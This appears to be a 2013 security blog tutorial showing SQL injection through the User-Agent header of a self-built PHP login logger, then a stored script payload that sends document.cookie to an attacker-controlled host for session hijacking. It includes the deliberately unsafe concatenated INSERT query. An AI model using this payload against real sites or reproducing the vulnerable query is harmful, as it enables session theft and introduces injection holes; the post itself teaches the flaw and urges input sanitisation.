August 26, 2013

Stealing cookies with SQL

The more common areas to test for and find SQL injection vulnerabilities is via $_GET or $_POST $_REQUESTs. This post will discuss another potential vector - $_SERVER. Once identified, we will explore how to pivot across an SQL injection to steal cookie data.

A thorough authentication system includes user history logs - a trivial example is shown below (for the sake of simplicity, we assume application users are comfortable reading raw epoch data).

/assets/images/default-login.jpg

To begin the attack, we fuzz the injection point - assuming the user-agent is sourced from the User-Agent header, let’s try injecting the ' character.

/assets/images/sql-test.jpg"

We receive the familiar “I’m vulnerable.” SQL error as a response.

/assets/images/sql-test-result.jpg

Based on this error (and the fact I coded this example), we can assume the un-safe query looks like this:

$retval = mysql_query("INSERT INTO login_record (uid, ip, user_agent, time) VALUES (1, '".$_SERVER['REMOTE_ADDR']."', '".$_SERVER['HTTP_USER_AGENT']."','".time()."');", $con);

The above query allows injection of arbitrary data by closing the first insert with a ', adding a ,, injecting our data, finishing the query ) and commenting out the tail #.

Using this attack format we can extract the database version.

A mysql database version > 4, allows enumeration of tables and columns using information_schema (each table should be enumerated individually as group_concat() is usually insufficient given the default size of 1024).

After complete enumeration of the database, we can’t find login credentials to further escalate this attack.

So what can we do?

Considering this injection allows arbitrary insertion of data and assuming an admin checks user access logs (and cookies are insecure), we can try to steal cookies using javascript.

<script>
    new Image().src = "http://localhost/"+encodeURI(document.cookie);
</script>

When a page is viewed containing our injected script the following cookie data can be viewed in our server access logs and used to hijack the session.

This post should reinforce you what you already know - always sanitise any data controlled by the user.